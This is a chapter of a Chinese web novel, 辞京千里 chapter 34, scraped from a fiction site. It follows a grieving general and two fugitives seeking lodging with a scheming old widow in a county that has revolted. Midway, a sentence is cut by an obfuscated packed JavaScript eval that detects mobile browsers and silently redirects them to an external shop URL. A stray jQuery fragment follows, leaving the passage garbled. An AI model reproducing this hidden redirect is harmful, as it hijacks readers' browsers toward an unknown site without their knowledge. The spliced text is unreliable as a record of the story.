文趣网 > 都市小说 > 辞京千里 > 34. 第 34 章
    空气中吹来一阵淡淡的铁锈味,冷气从帐门吹进,扬起一阵灰尘。

    陆观泽展开一副卷轴。

    行军以来,他一直带着它。

    紫绫罗镶边,楠木轴头。

    有人说,当你在凝视一副画的时候,实际上是在看画这幅画的人。

    一幅鹰击长空图,鹰首旁的羽毛打着卷,一双藤黄的眼盯向画外人。

    他与这只鹰静默地对视了起码有一刻钟。

    除了自己深深的怀念,他什么都没感受到。

    连她的一缕呢喃都没有。

    帐外狂风骤起,草木簌簌作响,连树枝都在摇摆。

    难道她真的已经是黄土一抔,骸骨一堆?那她为什么从来不曾来过他的梦里呢。

    他开始反思自己对她犯过什么错,因而不可避免的牵扯出无数的回忆,密密麻麻,像从他的心上一根一根拔起钉子端详。

    他不敢去看她的遗容,也不愿叫杵作去验尸。

    尽管刑部的人严肃告诉过他,验尸是解决疑案即为重要的一环。

    但如果那真是她,他不愿打扰她最后的清宁。

    如果那不是是她,这个时候她会在哪,在做什么呢?

    “我便只值五十两了!”赵瑞殊一边手忙脚乱地收拾包袱,一边抱怨。

    谢游安慰:“如果真抓到你,官府肯定会再额外多给那个人钱的,绝对不止五十两。”

    事到如今,赵瑞殊只能感激秋天呼啸的风,擦过脸庞与衣料的尘沙以及路上的一切苦难,这些把她与过去那个贵女形象彻底地切割开。

    如今她穿着磨损的麻衣,御寒的的夹袄中除了棉花还塞了点芦花,梳着反绾髻,仅用素簪。

    乍一眼,很难把她和第一幅画像联系起来。

    可惜还有第二幅只画了脸的画像。

    “我们得赶紧赶到东梁去,我要和父兄一道谋划。”赵瑞殊忧心,“陆观泽就是扯了个征战理由,再用寻人布告配合配合装样子,他不一定真以为我没死。”

    谢游不置可否,做久了臣子,他很不习惯听到有人说陆观泽的名讳。

    这次囤了够吃半个月的干粮,购置了些生活必需品,全囫囵打包好。

    退还令牌与钥匙时,只谢游一个人去掌柜的那交谈,赵瑞殊带着他的帷帽,将行礼装在马背上,自己也坐上去等待。

    幸好,掌柜的没有起疑心。

    “寻人的布告肯定已贴遍了附近的城镇,我们多从乡间走。”

    又是一番风尘。

    被狼群袭击过,也被林匪抢劫过;饿过肚子,也吃坏过肚子。

    冥冥之中,不知是应了谁的乞求,上苍总能留给他们一线生机。

    将马换了船,又将船卖了买马。

    越往南,越萧条,市集越少,能购入的补给也就越少。

    待二人都磋磨成一副漂亮些的庄稼人模样,终于乘着暮色来到堂邑县。

    已是岁暮天寒。

    这堂邑县也真怪。按理说,这已经是梁国的地,从齐国的地界过去却畅通无阻。

    他们往城里走时,还时常有人逆着向北走。

    其中必有蹊跷。

    城墙没有熟悉的布告,依稀能从一些旧告示淡淡的墨迹中看出些“征税”“注意”之类的字眼。

    一个年轻人在城墙下吆喝,跟着空气辩论般:“你们若是想回梁国,自己回便是了,没人拦你过江,只是过去别又被抓了又服徭役又被送给齐国。那皇帝老儿要把堂邑县整个献给齐国,换自己的安宁,那我们干脆自个儿出来单干!”

    “不反正还是要被齐国收的嘛,折腾什么?”

    年轻人冷笑:“自己出来,好歹是个整的,到时候还能跟齐国谈谈。等着被献,先搜刮全城的油水,当做岁供献了齐国,又把青壮年都拉走,这才会把剩下的地和人送给齐国。”

    “梁国是打不过齐国,收拾我们一个县还是够的吧?”

    “堂邑县地处要道,齐军就在西边的长江水旁驻扎着呢,怎可能放弃。梁皇胆小怕事、耽于享乐,本就害怕与齐军交锋,断不可能敢来。”

    赵瑞殊与谢游没听完,默默走远去找住处。

    “原来堂邑县是反了。”原齐国大臣谢游如是说。

    “我们在乡野间走了太久,许多消息都不清楚,这世间原来已经大变。”赵瑞殊感叹,心中百感交集,反而拎不出一缕具体的情绪。

    马儿不耐地发出喷鼻声,她抚了抚它的鬃毛:“等找着客栈,就让你休息。”

    二人沿主街走,一派萧条模样,大半条街的商铺都关了门。

    挂着客栈幌子的铺子倒是开着,一进去,柜台后边没有人,大堂路过一个收拾行李的冲他们摇手:“我们一家今日就要走了,不开张。”

    “不如我们今日直接去对岸。”赵瑞殊干脆提议,大半是出于说的气话。

    “还是多观望为妙。”谢游一贯谨慎,“万一县民中,反了的偷偷报复往南逃的,在背后放冷箭。”

    从空荡荡的客栈出来,一个背着篓筐的驼背老妇努力抬起头端详着他们的马。

    “老太太,您这是……?”谢游警惕地闪到自己的马旁。

    “原来这马有主啊,我还寻思谁丢这的呢。”老妇和蔼地笑了几声。

    这就是瞎说了。

    马儿虽瘦,身上的马鞍、缰绳可都是好好的,还系着行李,明晃晃是有主的。

    赵瑞殊眯着眼看向她。

    老妇宛若感受不到气氛的变化,半侧过身子,瞥了一眼他们身后的客栈:“小两口找住处啊?”

    二人一路为行方便,以夫妻相称也不是第一次,遇到这类情况都是默认下来。

    “我有一农庄,仅我一人,若二位能将马借与我耕地,我便白白给你们住;若二位再来帮帮农活,我便供你们白吃白喝。”

    “不是要提供马,还有做帮工,哪里的白吃白住?”谢游问。

    老妇耸耸肩:“随你们哦。唉,我一个寡妇,老伴之前在金陵修园子摔死了,儿子被征入伍,女儿远远地嫁到姑苏去,留条老黄牛也瘟死了,命苦哦……”

    “不是都用牛耕地吗,马也可以耕地?”赵瑞殊奇道。

    “哎哟,牛能耕地,马当然也能耕地,人还能耕地呢。当然啦,马能做的事比

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726509|207983||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人多,起码比我这一个命苦的老妪多……”

    谢游听得不耐,要拉着赵瑞殊走。

    赵瑞殊虽心有不忍,却也不敢住在这样一个鬼鬼祟祟的老妇家,跟她道:“等我们二人找到住处,再将马借与你耕地。”

    “她大概是个贼。”谢游提醒她。

    “万一是真的,我也用不着马了,渡了江,要什么都有。”赵瑞殊在主街上走着,扶了扶被风吹歪的风帽。

    可走了一路,问了一路。没个正经客栈开着,也没有县民愿意暂时收留他们。

    有好心大娘提醒:“我见你二人也算面善,这个关头,你要么往北逃,要么往南走。不然留下来,由那群倔驴嚯嚯,鬼知道之后是个什么日子,大家伙都在存粮呢,”

    “干脆把马给那妇人,你我二人渡河罢了。”赵瑞殊又想直接走了。

    在犹豫不决这件事上,谢游非常果断:“太莽撞,摸清情况再走。我们也没船。”

    绕了一圈,天色渐暗,街巷里人逐渐稀少。

    他们还是没有找到歇脚之处。

    兜兜转转,又遇见老妪。

    “天都黑了,马上狼都出来跑了,你嘞两个怎么还没地方住啊?”她闷哼哼地笑着。

    赵瑞殊听了头疼。

    “没其他地方可住了,战事将近,这里的百姓都很谨慎。”谢游贴着她脸侧耳语,“在外边更危险,不过一介妇人,你我二人都会武,不足为惧。”

    “这个时候你不谨慎了?”赵瑞殊发现他习惯于在事情的开头犹犹豫豫,最后闭着眼睛乱冲一把。

    “两害相权取其轻。”

    实在是没地方住,天色已暗,也无船只渡江。

    “可以把我们的马借与你耕地,只是你还要再多给我们一只船。”赵瑞殊走至老妪面前说。

    老妪摇头晃脑地笑:“给你们个地方住就不错了,还讨价还价呢。”

    “哦,那我们往回走了。”赵瑞殊拽着谢游的手往主街另一方向走。

    “哎哎哎,价不是这么砍的。”老妪拦住她,“唉,我可怜你们没地方住,算了算了,有条破船,原本我儿子用的,你们能修起来就你们用吧。”

    “明明是你缺人缺力种田。”谢游忿忿道。

    二人随老妪来到城西郊。

    破砖木房子矗立在稀稀拉拉耕了一点的田亩中间,只有蛙鸣。

    南边紧紧挨着一条小河。

    “白天带你们看船,夜里河边有水猴子。老妪幽幽道。

    “假的,这是哄小孩子别靠近水边的。”谢游反驳。

    老妪抖抖索索用钥匙打开门锁,奇怪地看他一眼:“你自己觉得自己有多大?”

    她老了,腰直不起来,也弯不下去,不好打扫。房子的地上乱糟糟一片,屋顶布满蜘蛛网,只有台面还算干净。

    “你们住西偏房,以前我儿子和儿媳就住那间。唉,我可怜的儿媳,去得那么早。”

    这真是太不吉利了。

    赵瑞殊和谢游对视一眼,但都没有说出口,认命地去看西偏房的情况。

    吱呀呀一块木板门打开,沉甸甸一坨蜘蛛网垂下。